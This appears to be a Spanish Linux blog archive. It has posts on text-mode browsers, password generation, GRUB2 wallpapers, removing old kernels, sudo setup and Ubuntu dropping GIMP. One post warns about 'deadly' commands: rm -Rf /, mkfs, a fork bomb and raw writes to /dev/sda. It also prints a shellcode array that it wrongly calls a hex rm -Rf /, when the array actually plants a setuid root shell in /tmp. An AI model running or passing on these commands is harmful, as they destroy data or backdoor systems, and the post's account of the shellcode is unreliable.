Archivo

Archive for the ‘Debian’ Category

Conquistando la terminal: Navegadores web en modo texto

agosto 18, 2010 4 comentarios

Para los que utilizamos GNU/ Linux, es muy común que muchas veces no tengamos acceso al modo gráfico del sistema, ya sea por optimización de recursos u otra razón específica (cuando se tiene un servidor en marcha), y necesitamos navegar por la web en busca de algo. Para los principiantes en el mundo de GNU/ Linux, podría sonar casi imposible navegar en internet sin el uso de Mozilla, Chronium, Chrome u otro navegador que posea nuestra distribución; sin embargo, no es del todo imposible, déjenme comentarles que existen navegadores web en modo texto, los cuales nos serán útiles en algún momento cuando tengamos que hacer uso del modo consola solamente.

A continuación presento algunos de ellos, los cuales me han servido en varias ocasiones.

Links2

Links es un navegador web de código abierto en modo texto y gráfico a partir de su versión 2 en modo terminal.

La versión original fue desarrollada por Mikuláš Patočka en la República Checa en 1999. El proyecto original era crear un navegador web similar a Lynx pero con más características.

Mikuláš Patočka explicó que prefirió ignorar a Lynx y desarrollar un navegador aparte porque, debido a la forma en que fue desarrollado, Lynx está imposibilitado para realizar conexiones múltiples esto impediría la capacidad de Links de descargar archivos al mismo tiempo que se navega por Internet.

En el año 2000 Mikuláš Patočka se une a Karel Kulhavý, Petr Kulhavý y Martin Pergel, compañeros en la Universidad Charles en Praga, y forman Twibright Labs. Juntos continúan el desarrollo de Links, agregando soporte para formatos gráficos de imágenes, antialising del texto y Javascript.

El modo gráfico funciona incluso en sistemas UNIX sin X Window o cualquier otro gestor de ventanas, usando SVGALib o el framebuffer de la unidad de procesado de gráficos del sistema

A diferencia de Lynx, Links tiene soporte para tablas y frames en HTML, y permite el scroll horizontal. Además, es compatible con terminales a color y monocromos e incluye un sistema de menús desplegables.

Desde la versión 0.98 no se agregan nuevas características a este navegador. Las versiones posteriores son liberadas sólo para corregir errores.

Algunas de sus características son:

  • Multiplataforma
  • Multiidioma
  • Barra de Menúes
  • Gestor de descargas
  • Soporte para formatos de imágenes JPEG, GIF, PNG, XBM y TIF
  • Marcadores
  • Soporte de tablas
  • Soporte de Frames
  • Soporte parcial de JavaScript
  • Fuentes con anti-aliasing
  • Compatibilidad con HTML 4.0
  • Compatibilidad con FTP
  • Compatibilidad con SSL

Su instalación en GNU/ Linux Debian y GNU/ Linux Ubuntu es:

sudo aptitude install links2

Su ejecución se hace a través de la terminal:

links http://www.google.com.ni


links2

w3m

La segunda opción es w3m, que es un navegador web basado en texto así como un paginador.

Se parece mucho a Lynx y tiene soporte para tablas, marcos, conexiones SSL, color de fondo e incluso imágenes. Generalmente, hace las páginas de la forma más fiel posibley se utiliza en emacsw3. Se pueden hojear páginas web a través de una ventana del terminal (xterm, rxvt o algo similar). Por otra parte, se puede utilizar como herramienta HTML por estar apegado a los estándares.

Algunas de sus características son:

Tabs

Visualización de imágenes (configurable)

Bookmarks

Manejo de forms

Su instalación en GNU/ Linux Debian y GNU/ Linux Ubuntu se realiza a través de:

sudo aptitude install w3m

Y su ejecución se realiza en la terminal con:

w3m http://www.google.com.ni

w3m

Lynx

La última alternativa propuesta  es Lynx que es un navegador web y cliente de gopher en modo texto.

Lynx es usado en terminales de cursor direccionable y celdas de caracteres, o emuladores de terminal (incluyendo terminales VT100 y paquetes de software para computadoras de escritorio que emulanterminales VT100, como Kermit o Procomm. Originalmente fue desarrollado para UNIX y VMS y aún hoy se distribuye con varias distribuciones de Linux. Oficialmente existen versiones para Microsoft Windows (Windows 95 y posteriores), DOS, OS/2 y FreeBSD, AmigaOS, Atari TOS, BeOS entre otros tantos. Las versiones para Mac OS X son provistas por OSXGNU. Su simplicidad facilita que unlector de pantalla trabaje sobre este navegador, lo que lo convirtió en una opción para usuarios con problemas de visión. Lynx también se usa para comprobar la usabilidad de un sitio web en navegadores web antiguos. Para navegar con Lynx se puede seleccionar un enlace con las teclas de dirección o, activando una opción para numerar los enlaces, ingresando el número de cada enlace. Las versiones actuales tiene soporte para varias características de HTML. Incluye soporte para marcadores, cookies. El contenido de las tablas es mostrado en varias líneas de texto, donde el final de cada fila de la tabla se representa con un salto de línea. Los frames son identificados por un nombre y se navegan como si fueran páginas independientes. Lynx puede mostrar archivos locales e incluye soporte para los protocolos Gopher, FTP, WAIS, NNTP, Finger, o servidores cso/ph/qi, y servicios accesibles a través de conexiones a cuentas telnet, TN3270 o rlogin.

lynx

Espero les ayuden en algún momento.

Anuncios
Categorías:Debian, Software Libre, Ubuntu

Generando contraseñas seguras en GNU/ Linux

Muchas veces, la mayoría de ellas, necesitamos contraseñas para nuestro e-mail, twitter, facebook, y cualquier otra red social o sitio web que nos permita inscribirnos en el mismo; entonces siempre estamos pensando en “¿Qué contraseña?” podemos utilizar, y siempre terminando escribiendo una, que tiene que ver con nosotros, por razones de no olvidarla con el paso del tiempo, algo que no es muy recomendable si poseemos información valiosa y no queremos que sea obtenida por alguien que no seamos nosotros mismos.

En esta ocasión, explico una solución sencilla, que puede ser aplicada en cualquier distribución de GNU/ Linux, y que nos servirá para generar contraseñas seguras. Es un código en bash que nos permite generar caracteres, números y símbolos aleatorios. A continuación el código:

for ((n=0;n<10;n++)); do dd if=/dev/urandom count=1 2> /dev/null | uuencode -m -| sed -ne 2p | cut -c-10; done

Para utilizarlo, simplemente abrimos una terminal: presionamos Alt+F2 y luego digitamos: gnome-terminal y escribimos o pegamos la pequeña porción de código, pulsamos ENTER y ésto nos generará 10 contraseñas con una longitud de 10 caracteres alfanuméricos.

Espero les sirva, cualquier duda, o error que haya, me lo hacen saber.

PS: Visto en el twitter de marconi

Categorías:Debian, Software Libre, Ubuntu

Agregando una imagen al GRUB2

Como tod@s ya sabemos, desde la versión 9.10 tenemos disponible en UBUNTU la version 2 del gestor de arranque GRUB. Pues bien, esta vez voy a mostrar como estableces una imagen de fondo a nuestro GRUB para que se vea más adornadito y no tengamos que estar viendo ese negro que trae por defecto. Comencemos:

Primeramente descargamos un paquete de imagenes para el GRUB2

sudo apt-get install grub2-splashimages

Esto nos descarga una serie de imagenes en la dirección /usr/share/images/grub/ en formato tga con resolución 640×480
Ahora solo editamos un archivo ( mismo que en ubuntu 9.10)
abrimos una terminal y tecleamos
sudo gedit /etc/grub.d/05_debian_theme
Editamos la dirección de la imagen para el fondo en la linea WALLPAPER

WALLPAPER=”/user/share/images/grub/wall.tga”

Guardamos y cerramos el gedit
y en la terminal hacemos
update-grub2

Nota: Puedes poner la imagen que quieras en formato png y jpg en resoluciones de 640×480 (recomendable) aunque con el startupmanager puedes aumentarla pero se retardaría el inicio del sistema.
Para copiar archivos como root.
En la terminal escribir sudo -s
password:
después
gksudo nautilus

Y listo, tenemos nuestro gestor de arranques con la imagen que querramos

Categorías:Debian, Software Libre, Ubuntu

Como eliminar versiones antiguas de kernels

Para los que usamos GNU/Linux y que tenemos la posibilidad de mantener actualizado nuestro sistema, sabemos que cuando actualizamos nuestro sistema después de cada cierto tiempo, podemos encontrarnos con que ya está disponible una nueva versión del kenel, por lo que a la hora de actualizar nuestro sistema, se nos van creando una lista de los kernels disponibles.. Pues bien, el día de hoy me dispuse a desinstalar todas las versiones anteriores de los kernels que he venido utilizando y decidí dejar solamente la última, que es la que utilizo.

A continuación explicaré, de una manera sencilla como desinstalar las versiones antiguas de nuestros kernels:

1. uname -r OBTIENE LA VERSION ACTUAL DE NUESTRO KERNEL
2. dpkg –get-selections | grep linux-image OBTIENE TODOS LOS KERNEL INSTALADOS
3. sudo apt-get remove –purge linux-image-2.6.32-22-generic BORRAR EL KERNEL ESPECIFICADO

Y listo …. eso es todo… ahora solamente nos queda reiniciar nuestro sistema para hacer uso del último kernel… (si es que no lo estamos utilizando ya, en este caso no es necesario reiniciar).

Espero les sirva.

Categorías:Debian, Software Libre, Ubuntu

Comandos mortales en GNU/ Linux

noviembre 21, 2009 2 comentarios

1.

rm -Rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

2.

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “’xeb’x3e’x5b’x31’xc0’x50’x54’x5a’x83’xec’x64’x68?
“’xff’xff’xff’xff’x68’xdf’xd0’xdf’xd9’x68’x8d’x99?
“’xdf’x81’x68’x8d’x92’xdf’xd2’x54’x5e’xf7’x16’xf7?
“’x56’x04’xf7’x56’x08’xf7’x56’x0c’x83’xc4’x74’x56?
“’x8d’x73’x08’x56’x53’x54’x59’xb0’x0b’xcd’x80’x31?
“’xc0’x40’xeb’xf9’xe8’xbd’xff’xff’xff’x2f’x62’x69?
“’x6e’x2f’x73’x68’x00’x2d’x63’x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.

3
mkfs.ext3 /dev/sda

Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.

4
:(){:|:&};:

La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

5
cualquier_comando > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

6
mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.

NIÑOS NO INTENTEN ESTO EN CASA, Y SI LO HACEN PUES ….. PRUEBEN

Categorías:Debian, Software Libre, Ubuntu

Como configurar sudo en Debian GNU/ Linux

noviembre 21, 2009 1 comentario

En estos días me he dado a la tarea de probar la versión GNU/ Linux Debian 5, probablemente será la distribución que utilizaré unos cuantos meses (sin desintalar Ubuntu, claro está). Pues resulta que estaba yo tratando de realizar una tarea como Administrador, y me salió un mensajito que decia algo así: ” su usuario no está en sudoers” no recuerdo muy bien, la cosa es que no pude hacerlo, tuve que probar de otra manera que sirve tambien para ejecutar como Administrador.
Como algúnos ya sabrán, GNU/Linux no es un sistema en el que se esté trabajando constantemente como administrador, por lo que para realizar algúnas acciones deberían utilizar la terminal de root (Aplicaciones > Accesorios > Terminal de root).

Pero se puede dar el caso de que estemos trabajando en una terminal como un usuario normal, y de repente necesitemos llevar a cabo una acción que solicite permisos de administrador para realizarla. En estos casos es cuando aparece sudo. Sudo es una aplicación (común de los sistemas UNIX y deribados) que nos permite ejecutar acciones con los privilegios de otros ususarios, por lo general del usuario root.

En Debian no viene instalado y configurado por defecto este programa, pero no desesperen porque gracias a Dios viene en los repositorios, por lo que basta con ejecutar:

# aptitude install sudo

Una vez con el sudo instalado deberemos agregar nuestro usuario en la sección “User privilege specification” en el archivo /etc/sudoers, de tal forma que la sección quede así:

# User privilege specification
root ALL=(ALL) ALL
tu_usuario ALL=(ALL) ALL

Una vez configurado esto, ya podremos ejecutar acciones de administrador desde una terminal común, anteponiendo el sudo a la acción a realizar.

Categorías:Debian, Software Libre

GIMP ya no estará incluido en Lucid!!

noviembre 20, 2009 Deja un comentario

The GIMP

Desde el Blog de leoog me estoy dando cuenta que en la próxima versión de Ubuntu, THE GIMP, el editor de fotografias por excelencia ya no estará incluído en esta versión. Esto debido a que los desarrolladores están buscando como optimizar el espacio.
El miércoles pasado en el encuentro de desarrolladores de ubuntu (Ubuntu Developer Summit) se discutió acerca de las aplicaciones que vendrán instaladas por defecto en Lucid Lynx (Ubuntu 10.04) y se tomó la decisión de dejar por fuera a GIMP.
Aquí algunas de las razones:

Es una aplicación para profesionales, “usuarios comunes” no lo utilizan.

The GIMP se debe mercadear mejor entre usuarios no-Ubunteros.

Existen herramientas más sencillas para rotar y redimensionar fotos (eog y F-Spot).

A mi parecer estas razones no son suficientes para dejar afuera un programa tan popular en el mundo del Software Libre. Pero bueno ….. eso fue la decisión que tomó el grupo de desarrolladores de Ubuntu.

Aquí la noticia original, tomada desde el blog de leoog

Es un reemplazo de Photoshop, y Photoshop no se incluye en una instalación estándar de Windows.

Categorías:Debian, Software Libre, Ubuntu